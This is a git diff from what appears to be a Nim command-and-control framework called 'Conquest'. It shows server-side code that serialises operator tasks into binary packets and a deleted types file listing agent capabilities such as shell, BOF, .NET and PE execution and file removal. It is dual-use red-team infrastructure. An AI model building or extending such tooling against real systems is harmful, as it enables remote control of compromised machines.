if argument.isRequired:
|
||||
raise newException(ValueError, "Missing required arguments.")
|
||||
else:
|
||||
result[argument.name] = %""
|
||||
let payload = packer.packPayload()
|
||||
|
||||
# TODO: Encrypt payload body
|
||||
|
||||
# Serialize header
|
||||
packer
|
||||
.addToHeader(task.header.magic)
|
||||
.addToHeader(task.header.version)
|
||||
.addToHeader(task.header.packetType)
|
||||
.addToHeader(task.header.flags)
|
||||
.addToHeader(task.header.seqNr)
|
||||
.addToHeader(cast[uint32](payload.len))
|
||||
.addDataToHeader(task.header.hmac)
|
||||
|
||||
let header = packer.packHeader()
|
||||
|
||||
# TODO: Calculate and patch HMAC
|
||||
|
||||
return header & payload
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
import ../../types
|
||||
import strutils, strformat, times
|
||||
import ../utils
|
||||
import ../../common/types
|
||||
|
||||
proc parseAgentCommand*(input: string): seq[string] =
|
||||
proc parseInput*(input: string): seq[string] =
|
||||
var i = 0
|
||||
while i < input.len:
|
||||
|
||||
@@ -30,3 +32,83 @@ proc parseAgentCommand*(input: string): seq[string] =
|
||||
|
||||
# Add argument to returned result
|
||||
if arg.len > 0: result.add(arg)
|
||||
|
||||
proc parseArgument*(argument: Argument, value: string): TaskArg =
|
||||
|
||||
var result: TaskArg
|
||||
result.argType = cast[uint8](argument.argumentType)
|
||||
|
||||
case argument.argumentType:
|
||||
|
||||
of INT:
|
||||
# Length: 4 bytes
|
||||
let intValue = cast[uint32](parseUInt(value))
|
||||
result.data = @[byte(intValue and 0xFF), byte((intValue shr 8) and 0xFF), byte((intValue shr 16) and 0xFF), byte((intValue shr 24) and 0xFF)]
|
||||
|
||||
of LONG:
|
||||
# Length: 8 bytes
|
||||
var data = newSeq[byte](8)
|
||||
let intValue = cast[uint64](parseUInt(value))
|
||||
for i in 0..7:
|
||||
data[i] = byte((intValue shr (i * 8)) and 0xFF)
|
||||
result.data = data
|
||||
|
||||
of BOOL:
|
||||
# Length: 1 byte
|
||||
if value == "true":
|
||||
result.data = @[1'u8]
|
||||
elif value == "false":
|
||||
result.data = @[0'u8]
|
||||
else:
|
||||
raise newException(ValueError, "Invalid value for boolean argument.")
|
||||
|
||||
of STRING:
|
||||
result.data = cast[seq[byte]](value)
|
||||
|
||||
of BINARY:
|
||||
# Read file as binary stream
|
||||
|
||||
discard
|
||||
|
||||
return result
|
||||
|
||||
proc parseTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
|
||||
|
||||
# Construct the task payload prefix
|
||||
var task: Task
|
||||
task.taskId = uuidToUint32(generateUUID())
|
||||
task.agentId = uuidToUint32(cq.interactAgent.name)
|
||||
task.listenerId = uuidToUint32(cq.interactAgent.listener)
|
||||
task.timestamp = uint32(now().toTime().toUnix())
|
||||
task.command = cast[uint16](command.commandType)
|
||||
task.argCount = uint8(arguments.len)
|
||||
|
||||
var taskArgs: seq[TaskArg]
|
||||
|
||||
# Add the task arguments
|
||||
for i, arg in command.arguments:
|
||||
if i < arguments.len:
|
||||
taskArgs.add(parseArgument(arg, arguments[i]))
|
||||
else:
|
||||
if arg.isRequired:
|
||||
raise newException(ValueError, "Missing required argument.")
|
||||
else:
|
||||
# Handle optional argument
|
||||
taskArgs.add(parseArgument(arg, ""))
|
||||
|
||||
task.args = taskArgs
|
||||
|
||||
# Construct the header
|
||||
var taskHeader: Header
|
||||
taskHeader.magic = MAGIC
|
||||
taskHeader.version = VERSION
|
||||
taskHeader.packetType = cast[uint8](MSG_TASK)
|
||||
taskHeader.flags = cast[uint16](FLAG_PLAINTEXT)
|
||||
taskHeader.seqNr = 1'u32 # TODO: Implement sequence tracking
|
||||
taskHeader.size = 0'u32
|
||||
taskHeader.hmac = default(array[16, byte])
|
||||
|
||||
task.header = taskHeader
|
||||
|
||||
# Return the task object for serialization
|
||||
return task
|
||||
@@ -1,7 +1,7 @@
|
||||
import strutils, terminal, tables, sequtils, times, strformat, random, prompt
|
||||
import std/wordwrap
|
||||
|
||||
import ../types
|
||||
import ../common/types
|
||||
|
||||
# Utility functions
|
||||
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
|
||||
@@ -20,6 +20,21 @@ proc generateUUID*(): string =
|
||||
# Create a 4-byte HEX UUID string (8 characters)
|
||||
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
|
||||
|
||||
proc uuidToUint32*(uuid: string): uint32 =
|
||||
return fromHex[uint32](uuid)
|
||||
|
||||
proc uuidToString*(uuid: uint32): string =
|
||||
return uuid.toHex(8)
|
||||
|
||||
proc toHexDump*(data: seq[byte]): string =
|
||||
for i, b in data:
|
||||
result.add(b.toHex(2))
|
||||
if i < data.len - 1:
|
||||
if (i + 1) mod 4 == 0:
|
||||
result.add(" | ") # Add | every 4 bytes
|
||||
else:
|
||||
result.add(" ") # Regular space
|
||||
|
||||
# Function templates and overwrites
|
||||
template writeLine*(cq: Conquest, args: varargs[untyped]) =
|
||||
cq.prompt.writeLine(args)
|
||||
|
||||
110
src/types.nim
110
src/types.nim
@@ -1,110 +0,0 @@
|
||||
import prompt
|
||||
import tables
|
||||
import times
|
||||
|
||||
# Task structure
|
||||
type
|
||||
CommandType* = enum
|
||||
ExecuteShell = "shell"
|
||||
ExecuteBof = "bof"
|
||||
ExecuteAssembly = "dotnet"
|
||||
ExecutePe = "pe"
|
||||
Sleep = "sleep"
|
||||
GetWorkingDirectory = "pwd"
|
||||
SetWorkingDirectory = "cd"
|
||||
ListDirectory = "ls"
|
||||
RemoveFile = "rm"
|
||||
RemoveDirectory = "rmdir"
|
||||
Move = "move"
|
||||
Copy = "copy"
|
||||
|
||||
ArgumentType* = enum
|
||||
String = "string"
|
||||
Int = "int"
|
||||
Long = "long"
|
||||
Bool = "bool"
|
||||
Binary = "binary"
|
||||
|
||||
Argument* = object
|
||||
name*: string
|
||||
description*: string
|
||||
argumentType*: ArgumentType
|
||||
isRequired*: bool
|
||||
|
||||
Command* = object
|
||||
name*: string
|
||||
commandType*: CommandType
|
||||
description*: string
|
||||
example*: string
|
||||
arguments*: seq[Argument]
|
||||
dispatchMessage*: string
|
||||
|
||||
TaskStatus* = enum
|
||||
Completed = "completed"
|
||||
Created = "created"
|
||||
Pending = "pending"
|
||||
Failed = "failed"
|
||||
Cancelled = "cancelled"
|
||||
|
||||
TaskResult* = ref object
|
||||
task*: string
|
||||
agent*: string
|
||||
data*: string
|
||||
status*: TaskStatus
|
||||
|
||||
Task* = ref object
|
||||
id*: string
|
||||
agent*: string
|
||||
command*: CommandType
|
||||
args*: string # Json string containing all the positional arguments
|
||||
# Example: """{"command": "whoami", "arguments": "/all"}"""
|
||||
|
||||
# Agent structure
|
||||
type
|
||||
AgentRegistrationData* = object
|
||||
username*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
ip*: string
|
||||
os*: string
|
||||
process*: string
|
||||
pid*: int
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
|
||||
Agent* = ref object
|
||||
name*: string
|
||||
listener*: string
|
||||
username*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
process*: string
|
||||
pid*: int
|
||||
ip*: string
|
||||
os*: string
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
jitter*: float
|
||||
tasks*: seq[Task]
|
||||
firstCheckin*: DateTime
|
||||
latestCheckin*: DateTime
|
||||
|
||||
# Listener structure
|
||||
type
|
||||
Protocol* = enum
|
||||
HTTP = "http"
|
||||
|
||||
Listener* = ref object
|
||||
name*: string
|
||||
address*: string
|
||||
port*: int
|
||||
protocol*: Protocol
|
||||
|
||||
# Server structure
|
||||
type
|
||||
Conquest* = ref object
|
||||
prompt*: Prompt
|
||||
dbPath*: string
|
||||
listeners*: Table[string, Listener]
|
||||
agents*: Table[string, Agent]
|
||||
interactAgent*: Agent
|
||||
Reference in New Issue
Block a user